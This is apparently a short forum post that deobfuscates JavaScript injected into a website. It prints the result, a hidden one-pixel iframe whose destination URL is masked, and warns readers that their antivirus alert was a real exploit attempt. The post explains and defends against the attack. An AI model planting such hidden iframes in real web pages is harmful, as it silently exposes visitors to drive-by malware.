When you clear up the rudimentary obfuscation, the javascript reads as follows:

<iframe name="uounaqpgwhw" width="1" height="0" src="http://********************" marginwidth="1" marginheight="0" title="uounaqpgwhw" scrolling="no" border="0" frameborder="0"></iframe>

So it's a classic iframe insertion hack there. Now let's patch up those systems!

The URL in the script currently see more returns 404, but there's no saying when it may be on or off, so beware.

For those who didn't get an alert, *this is NOT an Avast issue but an actual exploit attempt*. If you don't get alerts for trojans embedded online, suggest you get software that takes care of it.